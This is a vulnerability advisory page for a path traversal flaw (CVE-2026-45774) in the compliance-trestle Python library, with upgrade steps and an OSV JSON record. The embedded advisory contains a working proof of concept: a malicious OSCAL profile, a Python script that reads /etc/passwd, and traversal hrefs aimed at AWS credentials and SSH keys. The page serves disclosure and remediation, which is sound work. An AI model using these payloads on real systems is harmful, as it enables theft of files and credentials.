CVE-2026-45774: Compliance trestle Path Traversal Vulnerability
MODERATECVE-2026-45774 is a MODERATE path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Compliance trestle libraries in the PyPI ecosystem. The issue involves // uri and relative path traversal. Remediation is available by upgrading affected packages to version 4.0.3, 3.12.2.
CVE-2026-45774 at a Glance
How to Fix CVE-2026-45774
To remediate this vulnerability, upgrade all affected Compliance trestle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install compliance-trestle>=4.0.3
pip install compliance-trestle>=3.12.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show compliance-trestle
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-45774, inspect your installed packages using pip:
pip show compliance-trestle
Analyze the terminal output to locate any version of Compliance trestle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.3), your application is affected.
Note: The pip show compliance-trestle command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Compliance trestle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45774 Affected Compliance trestle Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
compliance-trestle
|
PyPI |
≥ 4.0.0
< 4.0.3
|
4.0.3
|
|
compliance-trestle
|
PyPI |
< 3.12.2
|
3.12.2
|
References
Frequently Asked Questions
What is CVE-2026-45774?
Which Compliance trestle versions are affected?
What version fixes CVE-2026-45774?
Is compliance-trestle affected?
What CWE is associated with CVE-2026-45774?
How can I check PyPI dependencies for CVE-2026-45774?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mj4x-vf5c-5xg8",
"modified" : "2026-05-28T17:37:08Z",
"published" : "2026-05-28T17:37:08Z",
"aliases" : [ "CVE-2026-45774" ],
"summary" : "compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal",
"details" : "## Summary\n\nThe compliance-trestle library's profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` — via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` — via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 — LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n super().__init__(trestle_root, uri)\n # ...\n elif uri.startswith(const.TRESTLE_HREF_HEADING):\n uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n self._abs_path = pathlib.Path(uri).resolve()\n # ❌ NO boundary check — .resolve() follows ../\n # ❌ NO is_relative_to() validation\n # ❌ Result can be /etc/passwd\n self._cached_object_path = self._abs_path\n return\n```\n\n### cache.py:194 — LocalFetcher (relative path handling)\n\n```python\n # For relative paths (no trestle:// or file:// prefix):\n try:\n self._abs_path = pathlib.Path(uri).resolve()\n # ❌ Same issue — resolves relative to CWD with no boundary check\n except Exception:\n raise TrestleError(...)\n```\n\n### _import.py:73-104 — Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n def __init__(self, ...):\n # Line 73-83: back_matter rlinks used directly\n if self._import.href[0] == '#':\n resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n self._import.href = [\n rlink.href # ❌ rlink.href from OSCAL data — user-controlled\n for rlink in resource.rlinks\n if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')\n ][0]\n\n # Line 104: href passed directly to FetcherFactory\n fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `'^trestle://[^/]'` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n metadata:\n title: \"Malicious Profile\"\n version: \"1.0\"\n last-modified: \"2024-01-01T00:00:00+00:00\"\n oscal-version: \"1.0.4\"\n imports:\n - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage — stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\") # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit — escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil: {evil._abs_path}\") # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n super().__init__(trestle_root, uri)\n # ...\n elif uri.startswith(const.TRESTLE_HREF_HEADING):\n uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n self._abs_path = pathlib.Path(uri).resolve()\n\n # ✅ ADD: Boundary check\n if not self._abs_path.is_relative_to(self._trestle_root):\n raise TrestleError(\n f\"Path traversal blocked: resolved path '{self._abs_path}' \"\n f\"is outside trestle root '{self._trestle_root}'\"\n )\n\n self._cached_object_path = self._abs_path\n return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n ```yaml\n imports:\n - href: \"trestle://../../root/.aws/credentials\"\n - href: \"trestle://../../root/.ssh/id_rsa\"\n ```\n\n2. **System Reconnaissance:**\n ```yaml\n imports:\n - href: \"trestle://../../etc/passwd\"\n - href: \"trestle://../../proc/self/environ\"\n ```\n\n3. **Supply Chain Attack:**\n Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere — proves path validation was INTENDED but never implemented.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.0.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.0.2"
}
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.12.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/oscal-compass/compliance-trestle"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-28T17:37:08Z",
"nvd_published_at" : null
}
}